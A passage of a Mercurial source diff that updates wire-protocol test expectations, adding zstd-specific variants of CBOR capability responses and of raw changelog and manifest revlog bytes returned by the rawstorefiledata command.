uired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash cbor> [ { b'apibase': b'api/', @@ -484,7 +491,7 @@ s> Content-Type: application/mercurial-cbor\r\n s> Content-Length: *\r\n (glob) s> \r\n - s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xf7batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash + s> \xa3GapibaseDapi/Dapis\xa1Pexp-http-v2-0003\xa4Hcommands\xacIbranchmap\xa2Dargs\xa0Kpermissions\x81DpullLcapabilities\xa2Dargs\xa0Kpermissions\x81DpullMchangesetdata\xa2Dargs\xa2Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84IbookmarksGparentsEphaseHrevisionIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullHfiledata\xa2Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x83HlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDpath\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullIfilesdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x84NfirstchangesetHlinknodeGparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDdictIrevisions\xa2Hrequired\xf5DtypeDlistKpermissions\x81DpullTrecommendedbatchsize\x19\xc3PEheads\xa2Dargs\xa1Jpubliconly\xa3Gdefault\xf4Hrequired\xf4DtypeDboolKpermissions\x81DpullEknown\xa2Dargs\xa1Enodes\xa3Gdefault\x80Hrequired\xf4DtypeDlistKpermissions\x81DpullHlistkeys\xa2Dargs\xa1Inamespace\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullFlookup\xa2Dargs\xa1Ckey\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullLmanifestdata\xa3Dargs\xa4Ffields\xa4Gdefault\xd9\x01\x02\x80Hrequired\xf4DtypeCsetKvalidvalues\xd9\x01\x02\x82GparentsHrevisionKhaveparents\xa3Gdefault\xf4Hrequired\xf4DtypeDboolEnodes\xa2Hrequired\xf5DtypeDlistDtree\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpullTrecommendedbatchsize\x1a\x00\x01\x86\xa0Gpushkey\xa2Dargs\xa4Ckey\xa2Hrequired\xf5DtypeEbytesInamespace\xa2Hrequired\xf5DtypeEbytesCnew\xa2Hrequired\xf5DtypeEbytesCold\xa2Hrequired\xf5DtypeEbytesKpermissions\x81DpushPrawstorefiledata\xa2Dargs\xa2Efiles\xa2Hrequired\xf5DtypeDlistJpathfilter\xa3Gdefault\xf6Hrequired\xf4DtypeDlistKpermissions\x81DpullQframingmediatypes\x81X&application/mercurial-exp-framing-0006Rpathfilterprefixes\xd9\x01\x02\x82Epath:Lrootfilesin:Nrawrepoformats\x83LgeneraldeltaHrevlogv1LsparserevlogNv1capabilitiesY\x01\xe4batch branchmap $USUAL_BUNDLE2_CAPS$ changegroupsubset compression=$BUNDLE2_COMPRESSIONS$ getbundle httpheader=1024 httpmediatype=0.1rx,0.1tx,0.2tx known lookup pushkey streamreqs=generaldelta,revlogv1,sparserevlog unbundle=HG10GZ,HG10BZ,HG10UN unbundlehash sending capabilities command s> setsockopt(6, 1, 1) -> None (?) s> POST /api/exp-http-v2-0003/ro/capabilities HTTP/1.1\r\n diff -r bc268ea9f984 -r f67b8946bb1b tests/test-wireproto-command-rawstorefiledata.t --- a/tests/test-wireproto-command-rawstorefiledata.t Thu Mar 25 19:06:28 2021 -0400 +++ b/tests/test-wireproto-command-rawstorefiledata.t Tue Apr 20 11:01:06 2021 -0400 @@ -56,14 +56,17 @@ response: gen[ { b'filecount': 1, - b'totalsize': 527 + b'totalsize': 527 (no-zstd !) + b'totalsize': 530 (zstd !) }, { b'location': b'store', b'path': b'00changelog.i', - b'size': 527 + b'size': 527 (no-zstd !) + b'size': 530 (zstd !) }, - b'\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00?\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff3\x90\xef\x85\x00s\xfb\xc2\xf0\xdf\xff"D4,\x8e\x92)\x01:\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u992f4779029a3df8d0666d00bb924f69634e2641\ntest\n0 0\na\nb\n\ncommit 0\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00>\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00N\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xc5\xc1\t\xc0 \x0c\x05\xd0{\xa6p\x03cjI\xd71\xf9\x11\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00N\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xc5\xc1\t\xc0 \x0c\x05\xd0{\xa6p\x03cjI\xd71\xf9\x11\x00\x00\x00=\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xffD2\xd86&\xe8\xa9\x86U\xf0b\xec\x1f*C\xb0\x7f\x7f\xbb\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ua988fb43583e871d1ed5750ee074c6d840bbbfc8\ntest\n0 0\na\n\ncommit 1\x00\x00\x00\x00\x00~\x00\x00\x00\x00\x00Q\x00\x00\x00W\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xa4r\xd2\xea\x96U\x1a\x1e\xbb\x011-\xb2\xe6\xa7\x86\xd0F\x96o\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd WE\x02\x00r\x04\x0f\x14\x90\x01\x0e#\xf7h$;NQC%\xf8f\xd7\xb1\x81\x8d+\x01\x16+)5\xa8\x19\xdaA\xae\xe3\x00\xe9v\xe2l\x05v\x19\x11\xd4\xc1onK\xa2\x17c\xb4\xf3\xe7 z\x13\x8f\x1c\xf3j4\x03\x03\x00`\x06\x84\x8b\x1a\n\x14\x00\x00\x00\x00\x00\xcf\x00\x00\x00\x00\x00C\x00\x00\x00B\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x85kg{\x94a\x12i\xc5lW5[\x85\xf9\x95|\xfc\xc1\xb9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00u90231ddca36fa178a0eed99bd03078112487dda3\ntest\n0 0\ndir1/f\n\ncommit 3', (zstd !) b'' ] @@ -78,14 +81,17 @@ response: gen[ { b'filecount': 1, - b'totalsize': 584 + b'totalsize': 584 (no-zstd !) + b'totalsize': 588 (zstd !) }, { b'location': b'store', b'path': b'00manifest.i', - b'size': 584 + b'size': 584 (no-zstd !) + b'size': 588 (zstd !) }, - b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c\r\xca\xc1\x11\x00!\x08\x040\xdfV\x03+\xa2\x94\xb3\x8c\xd0\x7f\twy\x87\x03i\x95r\x96F6\xe5\x1c\x9a\x10-\x16\xba|\x07\xab\xe5\xd1\xf08s\\\x8d\xc2\xbeo)w\xa9\x8b;\xa2\xff\x95\x19\x02jB\xab\x0c\xea\xf3\x03\xcf\x1d\x16\t\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x8c\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xcd\xb9\rB1\x10\x00Q\xc7\xbf\x19\xf6\xb6\xdd\x08\xb9\xf7\x92H\xa9\x90\xd2\xb8\x82\xc9\x9e4c\x8c\xfb\xf8\xf7\xca\xc7\x13n16\x8a\x88\xb2\xd8\x818`\xb4=eF\xb9f\x17\xcc\x92\x94hR\xc0\xeb\xe7s(/\x02\xcb\xd8\x13K\tU m\t\x1f\xef\xb2D\x03\xa6\xb6\x14\xb2\xaf\xc7[\rw?\x16`\xce\xd0"\x9c,\xddK\xd0c/\rIX4\xc3\xbc\xe4\xef{ u\xcc\x8c\x9c\x93]\x0f\x9cM;\n\xb7\x12-X\x1c\x96\x9fuT\xc8\xf5\x06\x88\xa25W\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', + b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c\r\xca\xc1\x11\x00!\x08\x040\xdfV\x03+\xa2\x94\xb3\x8c\xd0\x7f\twy\x87\x03i\x95r\x96F6\xe5\x1c\x9a\x10-\x16\xba|\x07\xab\xe5\xd1\xf08s\\\x8d\xc2\xbeo)w\xa9\x8b;\xa2\xff\x95\x19\x02jB\xab\x0c\xea\xf3\x03\xcf\x1d\x16\t\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x8c\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xcd\xb9\rB1\x10\x00Q\xc7\xbf\x19\xf6\xb6\xdd\x08\xb9\xf7\x92H\xa9\x90\xd2\xb8\x82\xc9\x9e4c\x8c\xfb\xf8\xf7\xca\xc7\x13n16\x8a\x88\xb2\xd8\x818`\xb4=eF\xb9f\x17\xcc\x92\x94hR\xc0\xeb\xe7s(/\x02\xcb\xd8\x13K\tU m\t\x1f\xef\xb2D\x03\xa6\xb6\x14\xb2\xaf\xc7[\rw?\x16`\xce\xd0"\x9c,\xddK\xd0c/\rIX4\xc3\xbc\xe4\xef{ u\xcc\x8c\x9c\x93]\x0f\x9cM;\n\xb7\x12-X\x1c\x96\x9fuT\xc8\xf5\x06\x88\xa25W\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', (no-zstd !) + b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd V\xfd\x01\x00b\xc5\x0e\x0f\xc0\xd1\x00\xfb\x0c\xb9\xca\xdf\xb2R\xba!\xf2\xf6\x1d\x80\xd5\x95Yc\xef9DaT\xcefcM\xf1\x12\t\x84\xf3\x1a\x04\x04N\\\'S\xf2\'\x8cz5\xc5\x9f\xfa\x18\xf3\x82W\x1a\x83Y\xe8\xf0\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x91\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd \xccE\x04\x00bK\x1e\x17\xb0A0\xff\xff\x9b\xb5V\x99\x99\xfa\xb6\xae\xf5n),"\xf1\n\x02\xb5\x07\x82++\xd1]T\x1b3\xaa\x8e\x10+)R\xa6\\\x9a\x10\xab+\xb4\x8bB\x9f\x13U\xd4\x98\xbd\xde \x9a\xf4\xd1}[\xfb{,q\x14Kf\x06\x1e\x10\xd6\x17\xbbl\x90\x16\xb9\xb3\xd8\x07\xee\xfc\xa8\x8eI\x10]\x9c\x1ava\x054W\xad\xdf\xb3\x18\xee\xbdd\x15\xdf$\x85St\n\xde\xee?\x91\xa0\x83\x11\x08\xd8\x01\x80\x10B\x04\x00\x04S\x04B\xc7Tw\x9f\xb9,\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', (zstd !) b'' ] @@ -100,21 +106,26 @@ response: gen[ { b'filecount': 2, - b'totalsize': 1111 + b'totalsize': 1111 (no-zstd !) + b'totalsize': 1118 (zstd !) }, { b'location': b'store', b'path': b'00manifest.i', - b'size': 584 + b'size': 584 (no-zstd !) + b'size': 588 (zstd !) }, - b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c\r\xca\xc1\x11\x00!\x08\x040\xdfV\x03+\xa2\x94\xb3\x8c\xd0\x7f\twy\x87\x03i\x95r\x96F6\xe5\x1c\x9a\x10-\x16\xba|\x07\xab\xe5\xd1\xf08s\\\x8d\xc2\xbeo)w\xa9\x8b;\xa2\xff\x95\x19\x02jB\xab\x0c\xea\xf3\x03\xcf\x1d\x16\t\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x8c\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xcd\xb9\rB1\x10\x00Q\xc7\xbf\x19\xf6\xb6\xdd\x08\xb9\xf7\x92H\xa9\x90\xd2\xb8\x82\xc9\x9e4c\x8c\xfb\xf8\xf7\xca\xc7\x13n16\x8a\x88\xb2\xd8\x818`\xb4=eF\xb9f\x17\xcc\x92\x94hR\xc0\xeb\xe7s(/\x02\xcb\xd8\x13K\tU m\t\x1f\xef\xb2D\x03\xa6\xb6\x14\xb2\xaf\xc7[\rw?\x16`\xce\xd0"\x9c,\xddK\xd0c/\rIX4\xc3\xbc\xe4\xef{ u\xcc\x8c\x9c\x93]\x0f\x9cM;\n\xb7\x12-X\x1c\x96\x9fuT\xc8\xf5\x06\x88\xa25W\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', + b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00I\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c\r\xca\xc1\x11\x00!\x08\x040\xdfV\x03+\xa2\x94\xb3\x8c\xd0\x7f\twy\x87\x03i\x95r\x96F6\xe5\x1c\x9a\x10-\x16\xba|\x07\xab\xe5\xd1\xf08s\\\x8d\xc2\xbeo)w\xa9\x8b;\xa2\xff\x95\x19\x02jB\xab\x0c\xea\xf3\x03\xcf\x1d\x16\t\x00\x00\x00\x00\x00I\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x8c\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x9c%\xcd\xb9\rB1\x10\x00Q\xc7\xbf\x19\xf6\xb6\xdd\x08\xb9\xf7\x92H\xa9\x90\xd2\xb8\x82\xc9\x9e4c\x8c\xfb\xf8\xf7\xca\xc7\x13n16\x8a\x88\xb2\xd8\x818`\xb4=eF\xb9f\x17\xcc\x92\x94hR\xc0\xeb\xe7s(/\x02\xcb\xd8\x13K\tU m\t\x1f\xef\xb2D\x03\xa6\xb6\x14\xb2\xaf\xc7[\rw?\x16`\xce\xd0"\x9c,\xddK\xd0c/\rIX4\xc3\xbc\xe4\xef{ u\xcc\x8c\x9c\x93]\x0f\x9cM;\n\xb7\x12-X\x1c\x96\x9fuT\xc8\xf5\x06\x88\xa25W\x00\x00\x00\x00\x01\x0c\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', (no-zstd !) + b'\x00\x03\x00\x01\x00\x00\x00\x00\x00\x00\x00H\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x99/Gy\x02\x9a=\xf8\xd0fm\x00\xbb\x92OicN&A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd V\xfd\x01\x00b\xc5\x0e\x0f\xc0\xd1\x00\xfb\x0c\xb9\xca\xdf\xb2R\xba!\xf2\xf6\x1d\x80\xd5\x95Yc\xef9DaT\xcefcM\xf1\x12\t\x84\xf3\x1a\x04\x04N\\\'S\xf2\'\x8cz5\xc5\x9f\xfa\x18\xf3\x82W\x1a\x83Y\xe8\xf0\x00\x00\x00\x00\x00\x00H\x00\x00\x00\x00\x007\x00\x00\x00V\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\xff\xff\xff\xff\xa9\x88\xfbCX>\x87\x1d\x1e\xd5u\x0e\xe0t\xc6\xd8@\xbb\xbf\xc8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x00\x00\x00+a\x009a38122997b3ac97be2a9aa2e556838341fdf2cc\n\x00\x00\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x91\x00\x00\x01\x16\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\xff\xff\xff\xff\xbcL\xdb}\x10{\xe2w\xaa\xdb"rC\xdf\xb3\xe0M\xd5,\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\xb5/\xfd \xccE\x04\x00bK\x1e\x17\xb0A0\xff\xff\x9b\xb5V\x99\x99\xfa\xb6\xae\xf5n),"\xf1\n\x02\xb5\x07\x82++\xd1]T\x1b3\xaa\x8e\x10+)R\xa6\\\x9a\x10\xab+\xb4\x8bB\x9f\x13U\xd4\x98\xbd\xde \x9a\xf4\xd1}[\xfb{,q\x14Kf\x06\x1e\x10\xd6\x17\xbbl\x90\x16\xb9\xb3\xd8\x07\xee\xfc\xa8\x8eI\x10]\x9c\x1ava\x054W\xad\xdf\xb3\x18\xee\xbdd\x15\xdf$\x85St\n\xde\xee?\x91\xa0\x83\x11\x08\xd8\x01\x80\x10B\x04\x00\x04S\x04B\xc7Tw\x9f\xb9,\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00<\x00\x00\x01\x16\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x02\xff\xff\xff\xff\x90#\x1d\xdc\xa3o\xa1x\xa0\xee\xd9\x9b\xd00x\x11$\x87\xdd\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe6\x00\x00\x01\x16\x00\x00\x000dir1/f\x0028c776ae08d0d55eb40648b401b90ff54448348e\n', (zstd !) b'', { b'location': b'store', b'path': b'00changelog.i', - b'size': 527 + b'size': 527 (no-zstd !) + b'size': 530 (zstd !) }, - 